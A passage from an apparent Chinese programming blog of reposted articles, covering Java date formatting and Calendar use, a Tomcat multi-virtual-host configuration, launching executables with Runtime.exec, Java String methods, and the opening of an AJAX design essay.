new SimpleDateFormat("EEEE-MMMM-dd-yyyy"); 

Date date = new Date(); 

System.out.println(bartDateFormat.format(date)); 


//------------------------------------------------------

只要通过向SimpleDateFormat 的构造函数传递格式字符串"EEE-MMMM-dd-yyyy", 我们就能够指明自己想要的格式. 你应该可以看见, 格式字符串中的ASCII 字符告诉格式化函数下面显示日期数据的哪一个部分. EEEE是星期, MMMM是月, dd是日, yyyy是年. 字符的个数决定了日期是如何格式化的.传递"EE-MM-dd-yy"会显示 Sat-09-29-01. 请察看Sun 公司的Web 站点获取日期格式化选项的完整的指示.

三、将文本数据解析成日期对象 

假设我们有一个文本字符串包含了一个格式化了的日期对象, 而我们希望解析这个字符串并从文本日期数据创建一个日期对象. 我们将再次以格式化字符串"MM-dd-yyyy" 调用SimpleDateFormat类, 但是这一次, 我们使用格式化解析而不是生成一个文本日期数据. 我们的例子, 显示在下面, 将解析文本字符串"9-29-2001"并创建一个值为001736000000 的日期对象. 

//------------------------------------------------------
import java.text.SimpleDateFormat; 
import java.util.Date; 

public class DateExample3 


public static void main(String[] args) 

// Create a date formatter that can parse dates of 
// the form MM-dd-yyyy. 
SimpleDateFormat bartDateFormat = 
new SimpleDateFormat("MM-dd-yyyy"); 

// Create a string containing a text date to be parsed. 
String dateStringToParse = "9-29-2001"; 

try { 
// Parse the text version of the date. 
// We have to perform the parse method in a 
// try-catch construct in case dateStringToParse 
// does not contain a date in the format we are expecting. 
Date date = bartDateFormat.parse(dateStringToParse); 

// Now send the parsed date as a long value 
// to the system output. 
System.out.println(date.getTime()); 

catch (Exception ex) { 
System.out.println(ex.getMessage()); 



//------------------------------------------------------

四、使用标准的日期格式化过程 

既然我们已经可以生成和解析定制的日期格式了, 让我们来看一看如何使用内建的格式化过程. 方法 DateFormat.getDateTimeInstance() 让我们得以用几种不同的方法获得标准的日期格式化过程. 在下面的例子中, 我们获取了四个内建的日期格式化过程. 它们包括一个短的, 中等的, 长的, 和完整的日期格式. 

//------------------------------------------------------
import java.text.DateFormat; 
import java.util.Date; 

public class DateExample4 


public static void main(String[] args) 

Date date = new Date(); 

DateFormat shortDateFormat = 
DateFormat.getDateTimeInstance( 
DateFormat.SHORT, 
DateFormat.SHORT); 

DateFormat mediumDateFormat = 
DateFormat.getDateTimeInstance( 
DateFormat.MEDIUM, 
DateFormat.MEDIUM); 

DateFormat longDateFormat = 
DateFormat.getDateTimeInstance( 
DateFormat.LONG, 
DateFormat.LONG); 

DateFormat fullDateFormat = 
DateFormat.getDateTimeInstance( 
DateFormat.FULL, 
DateFormat.FULL); 

System.out.println(shortDateFormat.format(date)); 
System.out.println(mediumDateFormat.format(date)); 
System.out.println(longDateFormat.format(date)); 
System.out.println(fullDateFormat.format(date)); 


//------------------------------------------------------

注意我们在对 getDateTimeInstance的每次调用中都传递了两个值. 第一个参数是日期风格, 而第二个参数是时间风格. 它们都是基本数据类型int(整型). 考虑到可读性, 我们使用了DateFormat 类提供的常量: SHORT, MEDIUM, LONG, 和 FULL. 要知道获取时间和日期格式化过程的更多的方法和选项, 请看Sun 公司Web 站点上的解释. 

运行我们的例子程序的时候, 它将向标准输出设备输出下面的内容: 
9/29/01 8:44 PM 
Sep 29, 2001 8:44:45 PM 
September 29, 2001 8:44:45 PM EDT 
Saturday, September 29, 2001 8:44:45 PM EDT

五、Calendar 类 

我们现在已经能够格式化并创建一个日期对象了, 但是我们如何才能设置和获取日期数据的特定部分呢, 比如说小时, 日, 或者分钟? 我们又如何在日期的这些部分加上或者减去值呢? 答案是使用Calendar 类. 就如我们前面提到的那样, Calendar 类中的方法替代了Date 类中被人唾骂的方法. 

假设你想要设置, 获取, 和操纵一个日期对象的各个部分, 比方一个月的一天或者是一个星期的一天. 为了演示这个过程, 我们将使用具体的子类 java.util.GregorianCalendar. 考虑下面的例子, 它计算得到下面的第十个星期五是13号. 

//------------------------------------------------------
import java.util.GregorianCalendar; 
import java.util.Date; 
import java.text.DateFormat; 

public class DateExample5 


public static void main(String[] args) 

DateFormat dateFormat = DateFormat.getDateInstance(DateFormat.FULL); 

// Create our Gregorian Calendar. 
GregorianCalendar cal = new GregorianCalendar(); 

// Set the date and time of our calendar 
// to the system&s date and time 
cal.setTime(new Date()); 

System.out.println("System Date: " + 
dateFormat.format(cal.getTime())); 

// Set the day of week to FRIDAY 
cal.set(GregorianCalendar.DAY_OF_WEEK, 
GregorianCalendar.FRIDAY); 
System.out.println("After Setting Day of Week to Friday: " + 
dateFormat.format(cal.getTime())); 

int friday13Counter = 0; 

while (friday13Counter <= 10) 


// Go to the next Friday by adding 7 days. 
cal.add(GregorianCalendar.DAY_OF_MONTH, 7); 

// If the day of month is 13 we have 
// another Friday the 13th. 
if (cal.get(GregorianCalendar.DAY_OF_MONTH) == 13) 

friday13Counter++; 
System.out.println(dateFormat.format(cal.getTime())); 




//------------------------------------------------------

在这个例子中我们作了有趣的函数调用: 
cal.set(GregorianCalendar.DAY_OF_WEEK, 
GregorianCalendar.FRIDAY); 

和: 
cal.add(GregorianCalendar.DAY_OF_MONTH, 7); 

set 方法能够让我们通过简单的设置星期中的哪一天这个域来将我们的时间调整为星期五. 注意到这里我们使用了常量 DAY_OF_WEEK 和 FRIDAY来增强代码的可读性. add 方法让我们能够在日期上加上数值. 润年的所有复杂的计算都由这个方法自动处理. 

我们这个例子的输出结果是: 
System Date: Saturday, September 29, 2001 
当我们将它设置成星期五以后就成了: Friday, September 28, 2001 
Friday, September 13, 2002 
Friday, December 13, 2002 
Friday, June 13, 2003 
Friday, February 13, 2004 
Friday, August 13, 2004 
Friday, May 13, 2005 
Friday, January 13, 2006 
Friday, October 13, 2006 
Friday, April 13, 2007 
Friday, July 13, 2007 
Friday, June 13, 2008 

六、时间掌握在你的手里 

有了这些Date 和Calendar 类的例子, 你应该能够使用 java.util.Date, java.text.SimpleDateFormat, 和 java.util.GregorianCalendar 创建许多方法了. 
TomCat 多虚拟站点配置
转贴

  在网络上找了许久,没有一个真正可以解决TomCat多虚拟站点的配置问题的,经过试验和参考官方网站资料,终于解决了这个问题.
  参考资料:Apache Tomcat文档http://tomcat.apache.org/tomcat-5.0-doc/config/host.html

  在文中有这么一段话:
  One or more Host elements are nested inside an Engine element. Inside the Host element, you can nest Context elements for the web applications associated with this virtual host. Exactly one of the Hosts associated with each Engine MUST have a name matching the defaultHost attribute of that Engine.

  译文:Engine元素中需要一个或多个Host元素,在Host元素里面,你必需有Context元素让网站应用程序与虚拟主机连接上,严密地说,每一个主机所关联的引擎必须有一个名字跟那个引擎默认的主机属性匹配 .
  可知,在Engine元素里面可以有多个Host,那么说,可以有在一个Engine里面设置多个服务器了,这正是我们需要的.每个Host元素里面要有一个Context元素.
  根据conf\server.xml里面的说明和范例,我样可以编写出下面一个配置文件:
    我把配置文件全部粘出来了,但大部分都是默认的,还有注释部分。大可不理,只修改了几部分,后面都有说明!

  1<!-- Example Server Configuration File -->
  2<!-- Note that component elements are nested corresponding to their
  3     parent-child relationships with each other -->
  4
  5<!-- A "Server" is a singleton element that represents the entire JVM,
  6     which may contain one or more "Service" instances.  The Server
  7     listens for a shutdown command on the indicated port.
  8
  9     Note:  A "Server" is not itself a "Container", so you may not
 10     define subcomponents such as "Valves" or "Loggers" at this level.
 11 -->
 12
 13<Server port="8005" shutdown="SHUTDOWN">
 14
 15  <!-- Comment these entries out to disable JMX MBeans support used for the
 16       administration web application -->
 17  <Listener className="org.apache.catalina.core.AprLifecycleListener" />
 18  <Listener className="org.apache.catalina.mbeans.ServerLifecycleListener" />
 19  <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" />
 20  <Listener className="org.apache.catalina.storeconfig.StoreConfigLifecycleListener"/>
 21
 22  <!-- Global JNDI resources -->
 23  <GlobalNamingResources>
 24
 25    <!-- Test entry for demonstration purposes -->
 26    <Environment name="simpleValue" type="java.lang.Integer" value="30"/>
 27
 28    <!-- Editable user database that can also be used by
 29         UserDatabaseRealm to authenticate users -->
 30    <Resource name="UserDatabase" auth="Container"
 31              type="org.apache.catalina.UserDatabase"
 32       description="User database that can be updated and saved"
 33           factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
 34          pathname="conf/tomcat-users.xml" />
 35
 36  </GlobalNamingResources>
 37
 38  <!-- A "Service" is a collection of one or more "Connectors" that share
 39       a single "Container" (and therefore the web applications visible
 40       within that Container).  Normally, that Container is an "Engine",
 41       but this is not required.
 42
 43       Note:  A "Service" is not itself a "Container", so you may not
 44       define subcomponents such as "Valves" or "Loggers" at this level.
 45   -->
 46
 47  <!-- Define the Tomcat Stand-Alone Service -->
 48  <Service name="Catalina">
 49
 50    <!-- A "Connector" represents an endpoint by which requests are received
 51         and responses are returned.  Each Connector passes requests on to the
 52         associated "Container" (normally an Engine) for processing.
 53
 54         By default, a non-SSL HTTP/1.1 Connector is established on port 8080.
 55         You can also enable an SSL HTTP/1.1 Connector on port 8443 by
 56         following the instructions below and uncommenting the second Connector
 57         entry.  SSL support requires the following steps (see the SSL Config
 58         HOWTO in the Tomcat 5 documentation bundle for more detailed
 59         instructions):
 60         * If your JDK version 1.3 or prior, download and install JSSE 1.0.2 or
 61           later, and put the JAR files into "$JAVA_HOME/jre/lib/ext".
 62         * Execute:
 63             %JAVA_HOME%\bin\keytool -genkey -alias tomcat -keyalg RSA (Windows)
 64             $JAVA_HOME/bin/keytool -genkey -alias tomcat -keyalg RSA  (Unix)
 65           with a password value of "changeit" for both the certificate and
 66           the keystore itself.
 67
 68         By default, DNS lookups are enabled when a web application calls
 69         request.getRemoteHost().  This can have an adverse impact on
 70         performance, so you can disable it by setting the
 71         "enableLookups" attribute to "false".  When DNS lookups are disabled,
 72         request.getRemoteHost() will return the String version of the
 73         IP address of the remote client.
 74    -->
 75
 76    <!-- Define a non-SSL HTTP/1.1 Connector on port 8080 -->
 77    <Connector
 78port="80"               maxHttpHeaderSize="8192"
 79               maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
 80               enableLookups="false" redirectPort="8443" acceptCount="100"
 81               connectionTimeout="20000" disableUploadTimeout="true"  URIEncoding="GB2312"/>
 82    <!-- Note : To disable connection timeouts, set connectionTimeout value
 83     to 0 -->
 84
 85    <!-- Note : To use gzip compression you could set the following properties :
 86
 87               compression="on"
 88               compressionMinSize="2048"
 89               noCompressionUserAgents="gozilla, traviata"
 90               compressableMimeType="text/html,text/xml"
 91    -->
 92
 93    <!-- Define a SSL HTTP/1.1 Connector on port 8443 -->
 94    <!--
 95    <Connector port="8443" maxHttpHeaderSize="8192"
 96               maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
 97               enableLookups="false" disableUploadTimeout="true"
 98               acceptCount="100" scheme="https" secure="true"
 99               clientAuth="false" sslProtocol="TLS" />
100    -->
101
102    <!-- Define an AJP 1.3 Connector on port 8009 -->
103    <Connector port="8009"
104               enableLookups="false" redirectPort="8443" protocol="AJP/1.3" />
105
106    <!-- Define a Proxied HTTP/1.1 Connector on port 8082 -->
107    <!-- See proxy documentation for more information about using this. -->
108    <!--
109    <Connector port="8082"
110               maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
111               enableLookups="false" acceptCount="100" connectionTimeout="20000"
112               proxyPort="80" disableUploadTimeout="true" />
113    -->
114
115    <!-- An Engine represents the entry point (within Catalina) that processes
116         every request.  The Engine implementation for Tomcat stand alone
117         analyzes the HTTP headers included with the request, and passes them
118         on to the appropriate Host (virtual host). -->
119
120    <!-- You should set jvmRoute to support load-balancing via AJP ie :
121    <Engine name="Standalone" defaultHost="localhost" jvmRoute="jvm1">
122    -->
123
124    <!-- Define the top level container in our container hierarchy -->
125    <Engine name="Catalina" defaultHost="ycoe.vicp.net">
126
127      <!-- The request dumper valve dumps useful debugging information about
128           the request headers and cookies that were received, and the response
129           headers and cookies that were sent, for all requests received by
130           this instance of Tomcat.  If you care only about requests to a
131           particular virtual host, or a particular application, nest this
132           element inside the corresponding <Host> or <Context> entry instead.
133
134           For a similar mechanism that is portable to all Servlet 2.4
135           containers, check out the "RequestDumperFilter" Filter in the
136           example application (the source for this filter may be found in
137           "$CATALINA_HOME/webapps/examples/WEB-INF/classes/filters").
138
139           Request dumping is disabled by default.  Uncomment the following
140           element to enable it. -->
141      <!--
142      <Valve className="org.apache.catalina.valves.RequestDumperValve"/>
143      -->
144
145      <!-- Because this Realm is here, an instance will be shared globally -->
146
147      <!-- This Realm uses the UserDatabase configured in the global JNDI
148           resources under the key "UserDatabase".  Any edits
149           that are performed against this UserDatabase are immediately
150           available for use by the Realm.  -->
151      <Realm className="org.apache.catalina.realm.UserDatabaseRealm"
152             resourceName="UserDatabase"/>
153
154      <!-- Comment out the old realm but leave here for now in case we
155           need to go back quickly -->
156      <!--
157      <Realm className="org.apache.catalina.realm.MemoryRealm" />
158      -->
159
160      <!-- Replace the above Realm with one of the following to get a Realm
161           stored in a database and accessed via JDBC -->
162
163      <!--
164      <Realm  className="org.apache.catalina.realm.JDBCRealm"
165             driverName="org.gjt.mm.mysql.Driver"
166          connectionURL="jdbc:mysql://localhost/authority"
167         connectionName="test" connectionPassword="test"
168              userTable="users" userNameCol="user_name" userCredCol="user_pass"
169          userRoleTable="user_roles" roleNameCol="role_name" />
170      -->
171
172      <!--
173      <Realm  className="org.apache.catalina.realm.JDBCRealm"
174             driverName="oracle.jdbc.driver.OracleDriver"
175          connectionURL="jdbc:oracle:thin:@ntserver:1521:ORCL"
176         connectionName="scott" connectionPassword="tiger"
177              userTable="users" userNameCol="user_name" userCredCol="user_pass"
178          userRoleTable="user_roles" roleNameCol="role_name" />
179      -->
180
181      <!--
182      <Realm  className="org.apache.catalina.realm.JDBCRealm"
183             driverName="sun.jdbc.odbc.JdbcOdbcDriver"
184          connectionURL="jdbc:odbc:CATALINA"
185              userTable="users" userNameCol="user_name" userCredCol="user_pass"
186          userRoleTable="user_roles" roleNameCol="role_name" />
187      -->
188
189      <!-- Define the default virtual host
190           Note: XML Schema validation will not work with Xerces 2.2.
191       -->
192      <Host name="ycoe.vicp.net" appBase="webapps"
193       unpackWARs="true" autoDeploy="true"
194       xmlValidation="false" xmlNamespaceAware="false">
195
196        <!-- Defines a cluster for this node,
197             By defining this element, means that every manager will be changed.
198             So when running a cluster, only make sure that you have webapps in there
199             that need to be clustered and remove the other ones.
200             A cluster has the following parameters:
201
202             className = the fully qualified name of the cluster class
203
204             name = a descriptive name for your cluster, can be anything
205
206             mcastAddr = the multicast address, has to be the same for all the nodes
207
208             mcastPort = the multicast port, has to be the same for all the nodes
209
210             mcastBindAddr = bind the multicast socket to a specific address
211
212             mcastTTL = the multicast TTL if you want to limit your broadcast
213
214             mcastSoTimeout = the multicast readtimeout
215
216             mcastFrequency = the number of milliseconds in between sending a "I'm alive" heartbeat
217
218             mcastDropTime = the number a milliseconds before a node is considered "dead" if no heartbeat is received
219
220             tcpThreadCount = the number of threads to handle incoming replication requests, optimal would be the same 
amount of threads as nodes
221
222             tcpListenAddress = the listen address (bind address) for TCP cluster request on this host,
223                                in case of multiple ethernet cards.
224                                auto means that address becomes
225                                InetAddress.getLocalHost().getHostAddress()
226
227             tcpListenPort = the tcp listen port
228
229             tcpSelectorTimeout = the timeout (ms) for the Selector.select() method in case the OS
230                                  has a wakup bug in java.nio. Set to 0 for no timeout
231
232             printToScreen = true means that managers will also print to std.out
233
234             expireSessionsOnShutdown = true means that
235
236             useDirtyFlag = true means that we only replicate a session after setAttribute,removeAttribute has been called.
237                            false means to replicate the session after each request.
238                            false means that replication would work for the following piece of code: (only for SimpleTcpReplicationManager)
239                            <%
240                            HashMap map = (HashMap)session.getAttribute("map");
241                            map.put("key","value");
242                            %>
243             replicationMode = can be either 'pooled', 'synchronous' or 'asynchronous'.
244                               * Pooled means that the replication happens using several sockets in a synchronous way. Ie, 
the data gets replicated, then the request return. This is the same as the 'synchronous' setting except it uses a pool of sockets, 
hence it is multithreaded. This is the fastest and safest configuration. To use this, also increase the nr of tcp threads 
that you have dealing with replication.
245                               * Synchronous means that the thread that executes the request, is also the
246                               thread the replicates the data to the other nodes, and will not return until all
247                               nodes have received the information.
248                               * Asynchronous means that there is a specific 'sender' thread for each cluster node,
249                               so the request thread will queue the replication request into a "smart" queue,
250                               and then return to the client.
251                               The "smart" queue is a queue where when a session is added to the queue, and the same session
252                               already exists in the queue from a previous request, that session will be replaced
253                               in the queue instead of replicating two requests. This almost never happens, unless there is a
254                               large network delay.
255        -->
256        <!--
257            When configuring for clustering, you also add in a valve to catch all the requests
258            coming in, at the end of the request, the session may or may not be replicated.
259            A session is replicated if and only if all the conditions are met:
260            1. useDirtyFlag is true or setAttribute or removeAttribute has been called AND
261            2. a session exists (has been created)
262            3. the request is not trapped by the "filter" attribute
263
264            The filter attribute is to filter out requests that could not modify the session,
265            hence we don't replicate the session after the end of this request.
266            The filter is negative, ie, anything you put in the filter, you mean to filter out,
267            ie, no replication will be done on requests that match one of the filters.
268            The filter attribute is delimited by ;, so you can't escape out ; even if you wanted to.
269
270            filter=".*\.gif;.*\.js;" means that we will not replicate the session after requests with the URI
271            ending with .gif and .js are intercepted.
272
273            The deployer element can be used to deploy apps cluster wide.
274            Currently the deployment only deploys/undeploys to working members in the cluster
275            so no WARs are copied upons startup of a broken node.
276            The deployer watches a directory (watchDir) for WAR files when watchEnabled="true"
277            When a new war file is added the war gets deployed to the local instance,
278            and then deployed to the other instances in the cluster.
279            When a war file is deleted from the watchDir the war is undeployed locally
280            and cluster wide
281        -->
282
283        <!--
284        <Cluster className="org.apache.catalina.cluster.tcp.SimpleTcpCluster"
285                 managerClassName="org.apache.catalina.cluster.session.DeltaManager"
286                 expireSessionsOnShutdown="false"
287                 useDirtyFlag="true"
288                 notifyListenersOnReplication="true">
289
290            <Membership
291                className="org.apache.catalina.cluster.mcast.McastService"
292                mcastAddr="228.0.0.4"
293                mcastPort="45564"
294                mcastFrequency="500"
295                mcastDropTime="3000"/>
296
297            <Receiver
298                className="org.apache.catalina.cluster.tcp.ReplicationListener"
299                tcpListenAddress="auto"
300                tcpListenPort="4001"
301                tcpSelectorTimeout="100"
302                tcpThreadCount="6"/>
303
304            <Sender
305                className="org.apache.catalina.cluster.tcp.ReplicationTransmitter"
306                replicationMode="pooled"
307                ackTimeout="15000"/>
308
309            <Valve className="org.apache.catalina.cluster.tcp.ReplicationValve"
310                   filter=".*\.gif;.*\.js;.*\.jpg;.*\.htm;.*\.html;.*\.txt;"/>
311
312            <Deployer className="org.apache.catalina.cluster.deploy.FarmWarDeployer"
313                      tempDir="/tmp/war-temp/"
314                      deployDir="/tmp/war-deploy/"
315                      watchDir="/tmp/war-listen/"
316                      watchEnabled="false"/>
317        </Cluster>
318        -->
319
320
321
322        <!-- Normally, users must authenticate themselves to each web app
323             individually.  Uncomment the following entry if you would like
324             a user to be authenticated the first time they encounter a
325             resource protected by a security constraint, and then have that
326             user identity maintained across *all* web applications contained
327             in this virtual host. -->
328        <!--
329        <Valve className="org.apache.catalina.authenticator.SingleSignOn" />
330        -->
331
332        <!-- Access log processes all requests for this virtual host.  By
333             default, log files are created in the "logs" directory relative to
334             $CATALINA_HOME.  If you wish, you can specify a different
335             directory with the "directory" attribute.  Specify either a relative
336             (to $CATALINA_HOME) or absolute path to the desired directory.
337        -->
338        <!--
339        <Valve className="org.apache.catalina.valves.AccessLogValve"
340                 directory="logs"  prefix="localhost_access_log." suffix=".txt"
341                 pattern="common" resolveHosts="false"/>
342        -->
343
344        <!-- Access log processes all requests for this virtual host.  By
345             default, log files are created in the "logs" directory relative to
346             $CATALINA_HOME.  If you wish, you can specify a different
347             directory with the "directory" attribute.  Specify either a relative
348             (to $CATALINA_HOME) or absolute path to the desired directory.
349             This access log implementation is optimized for maximum performance,
350             but is hardcoded to support only the "common" and "combined" patterns.
351        -->
352        <!--
353        <Valve className="org.apache.catalina.valves.FastCommonAccessLogValve"
354                 directory="logs"  prefix="localhost_access_log." suffix=".txt"
355                 pattern="common" resolveHosts="false"/>
356        -->
357    <Context docBase="D:\WORKS\EShop\EWebShop" path="/" reloadable="true" 
                workDir="D:\WORKS\EShop\Tomcat\work\EWebShop">
358    </Context>
359      </Host>    
360<Host name="yvor.vicp.net" appBase="webapps"unpackWARs="true" autoDeploy="true"xmlValidation="false" 
                xmlNamespaceAware="false">
361    <Context docBase="D:\WORKS\YCOE\ycoe" path="/" reloadable="true" workDir="D:\WORKS\YCOE\Tomcat\work\ycoe">
362    </Context>
363      </Host>
364    </Engine>
365  </Service>
366</Server>
367
368
  可以看到,这里修改了
  81行修改了两个参数值:<Connector port="80" maxHttpHeaderSize="8192"
                maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
                enableLookups="false" redirectPort="8443" acceptCount="100"
                connectionTimeout="20000" disableUploadTimeout="true"  URIEncoding="GB2312"/>
          修改port是修改Tomcat的服务端口,默认为8080,URIEncoding改为GB2312是为了使用中文路径
    但不建议使用.

  125行:<Engine name="Catalina" defaultHost="ycoe.vicp.net">在下面配置的<Host/>中,必须有一个Host和这里的defaultHost的值相同!

        192行:<Host name="ycoe.vicp.net" appBase="webapps" unpackWARs="true" autoDeploy="true" xmlValidation="false" xmlNamespaceAware="false">

  然后再添加360行开始的<Host>元素:<Host name="yvor.vicp.net" appBase="webapps"unpackWARs="true" autoDeploy="true"
        xmlValidation="false" xmlNamespaceAware="false">
    <Context docBase="D:\WORKS\YCOE\ycoe" path="/" reloadable="true" 
            workDir="D:\WORKS\YCOE\Tomcat\work\ycoe"></Context>
</Host>
  这里是设置我们的第二个虚拟网站的域名.
  注:<Context/>里面的内容并不是我们实际应用的,我们可以通过另一种比较方便而且容易修改的方式来设置这些参数.下面我们来做这方面的配置:
  1.在%CATALINA_HOME %\conf\Catalina目录下创建ycoe.vicp.net和yvor.vicp.net两个文件夹.
  2.在这两个文件夹里面创建ROOT.xml文件(要以ROOT.xml为名称,否则虽然不会出错,但不能用http://ycoe.vicp.nethttp://yvor.vicp.net直接访问)
  3.ROOT.xml的内容如下:
<?xml version='1.0' encoding='utf-8'?>
<Context docBase="D:\WORKS\EShop\EWebShop" path="/" reloadable="true" 
workDir="D:\WORKS\EShop\Tomcat\work\EWebShop">
</Context>

  根据自己的实际情况,设置这里的docBase 和workDir的路径.docBase是说明文档的路径,workDir是网站程序的路径,如果用相对路径,则是在%CATALINA_HOME %\webapp目录下,path是访问的路径

  参考官方文档:

Any XML file in the $CATALINA_HOME/conf/[engine_name]/[host_name] directory is assumed to contain a Context element (and its associated subelements) for a single web application. The docBase attribute of this <Context> element will typically be the absolute pathname to a web application directory, or the absolute pathname of a web application archive (WAR) file (which will not be expanded). 
Any web application archive file within the application base (appBase) directory that does not have a corresponding directory of the same name (without the ".war" extension) will be automatically expanded, unless the unpackWARs property is set to false. If you redeploy an updated WAR file, be sure to delete the expanded directory when restarting Tomcat, so that the updated WAR file will be re-expanded (note that the auto deployer will automatically take care of this if it is enabled). 
Any subdirectory within the application base directory that appears to be an unpacked web application (that is, it contains a /WEB-INF/web.xml file) will receive an automatically generated Context element, even if this directory is not mentioned in the conf/server.xml file. This generated Context entry will be configured according to the properties set in any DefaultContext element nested in this Host element. The context path for this deployed Context will be a slash character ("/") followed by the directory name, unless the directory name is ROOT, in which case the context path will be an empty string (""). 

  你也可以在这两个目录下创建其它xml的文件

  但是这时你通过浏览器访问http://ycoe.vicp.nethttp://yvor.vicp.net时并不能浏览到你的网页,因为它把这些网址解析到广域网上去了,除非你用域名绑定.
  为了让局域本机不把这两个网址解析到广域网上去.我们可以通过以下设置实现(Windows XP,其它操作系统没有试过):
 1.用文本编辑器打开C:\WINDOWS\system32\drivers\etc目录的hosts文件
 2.在内容最后另起一行,添加以下内容:
            127.0.0.1       ycoe.vicp.net
            127.0.0.1       yvor.vicp.net

  可以由上面的注释部分了解它的作用:


# Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
  到这里,全部的配置已经完成了.重启Tomcat,打开http://ycoe.vicp.nethttp://yvor.vicp.net就可以看到预期的效果了.呵呵 
  下载相关文件http://www.cnblogs.com/Files/ycoe/Catalina.rar

         --原创文章,可以随意复制发表,但请注明出处与作者
http://ycoe.cnblogs.com/archive/2006/04/18/377737.html
                          BY YCOE 

Java调用可执行文件和批处理命令
转贴

在java调用exe,com可执行文件和bat,cmd批处理文件
一。运行exe文件

   1. Java JDK里已经提供了调用的方法,不在累赘,代码如下。

    try {
        String command = "notepad";
        Process child = Runtime.getRuntime().exec(command);
    } catch (IOException e) {
    }

二。运行bat(批处理)文件

   1.

import java.io.*;

public class Test
{
    public static void main(String[] args)
    {
        System.out.println("args : " + java.util.Arrays.asList(args));

        try
        {
            String command = args.length == 0 ? "notepad" : args[0];
            Process child = Runtime.getRuntime().exec(command);

            String line = null;
            BufferedReader reader = new BufferedReader(new InputStreamReader(child.getInputStream()));
            while((line = reader.readLine()) != null)
            {
                System.out.println(line);
            }
        }
        catch (Exception ex)
        {
            ex.printStackTrace();
        }
    }

}

   2. 虽然网上有人说找不到直接执行bat文件的方法,但我使用这种方法似乎也可以达到执行bat文件的效果,原本的希望是看看能从Process中读到什么信息,结果直接把bat文件中的内容按行打印并执行了。
   3. 但因为InputStream一直没有关闭,这个循环变成了一个死循环,不知道如何判断批处理文件何时执行完毕。
String类的相关应用
转贴

Lingo
2006-03-07 17:09

========================================================

java.lang.String
字符串类,包含了字符串的值和实现字符串相关操作的一些方法。
其实字符串在java中的实现比较特殊,你可以不使用构造方法,就可以直接获得一个字符串对象。

String str1 = "test";//不使用构造方法
String str2 = new String("test");//使用构造方法

实际上以上两者的效果是相同的,就是创建了一个内容为"test"的字符串。

========================================================

下面我们来说一下String类本身的特性。

首先需要注意到的是String是一个final类,所以你无法让自己写一个类来继承String的变量和方法。

String类的另一点特性是,一旦你创建了一个String类,那么它的值便无法再做更改了。虽然String类包

含substring()一类可以返回子字符串的方法,但实际上,这些方法并没有对原来的String类的内容做任

何修改,它们只是新建了另一个String类,并把它作为结果返回而已。这一点对程序设计产生的影响我们

在后面还会讨论到。

后一点特性是需要背过的,否则在后期的程序设计和程序优化过程中都可能会遇到问题。切记,切记。

========================================================

简单介绍几个常用的方法。

public boolean equals(Object obj)
判断当前字符串与obj的内容是否相同
public boolean equalsIgnoreCase(String str)
判断当前字符串与str的内容是否相同,这个方法不会区分大小写字母的区别

public int length()
返回字符串的长度,即字符的总个数

public String trim()
去掉字符串两端的空白,包括“空格,\t,\n,\r等控制符”

public String substring(int start,int end)
根据开始和结束的位置,返回当前String的子字符串
public String substring(int start)
从开始位置开始到字符串结束,返回子字符串

public char charAt(int index)
返回指定位置的字符

public int indexOf(String str)
返回子字符串在当前字符串的位置,如果当前字符串不包含子字符串就返回-1

public String concat(String str)
返回一个字符串,内容是当前字符串与str连接而成的。
字符串连接可以简化写为String str = str1 + str2;结果与concat方法相同

public boolean startsWith(String str)
判断当前字符串,是否以str开头
public boolean endsWith(String str)
判断当前字符串,是否以str结尾

========================================================

String str = "I am " + "Lingo!";
这样可以获得一个内容为"I am Lingo!"的字符串,在java里可以通过这种简单的方式实现字符串的连接

。这里需要注意的是,这个过程实际上生成了三个String对象,"I am "和"Lingo!"先被生成,然后用他

们再创建一个String对象str,str的内容是两者的总和。所以,使用+进行字符串连接的时候会很耗费资

源,这个时候就需要使用另一个类StringBuffer,它的内容是可以修改的,实际上jvm内部编译之后,“

用+进行字符串连接”也是用StringBuffer实现的。

String str = "I am " + "Lingo!";
String str = new StringBuffer("I am ").append("Lingo!").toString();

上边两个是等价的。

StringBuffer类还提供了许多便利的方法,对字符串进行操作

public void reverse()
反转字符串

public void append(...)
在字符串最后添加信息

public void insert(int start,...)
在索引位置插入信息

public void delete(int start,int end)
删除指定范围的内容

========================================================

最后谈一谈split与replaceAll方法

public String[] split(String regex)
根据分隔符,把字符串切割成字符串数组

public String replace(String regex,String str)
把字符串中所有与regex匹配的部分都替换成str

regex代表“正则表达式”,如果你并不清楚它的原理,很可能会出现问题。

"1,3,4".split(",")返回的结果是{"1","3","4"}这三个字符串组成的数组
"1|3|4".split("|")返回的结果却是{"1","|","3","|","4"}五个字符串组成的数组

这个问题的原因是由于在“正则表达式”中,“|”是一个有特殊含义的字符,表示“或”,直接使用

split("|")就会把每个字符分开了。如果希望使用"|"作为分隔符,就需要使用转义字符。

"1|3|4".split("\\|")返回的结果就是{"1","3","4"}三个字符串组成的数组了
“\|”是正则表达式中代表"|"的专一字符,但因为在String中“\”不能单独出现,还需要进行一次转义

,就变成了“\\|”这种形式。

replaceAll(String regex,String str)也是这种情况。

关于“正则表达式”更详细的用法,请参考java.util.regex包。
Thinking in AJAX -- 基于AJAX的WEB设计
转贴      

众所周知,异步交互、JavaScript脚本和XML封装数据是AJAX的三大特征。其实,在实际应用中,不需要牢牢套死这三条大律,在我看来,AJAX - X,即去掉用XML封装数据,也不失为一种好的设计思路,如果应用恰当,更显轻盈步伐和巧妙思路。

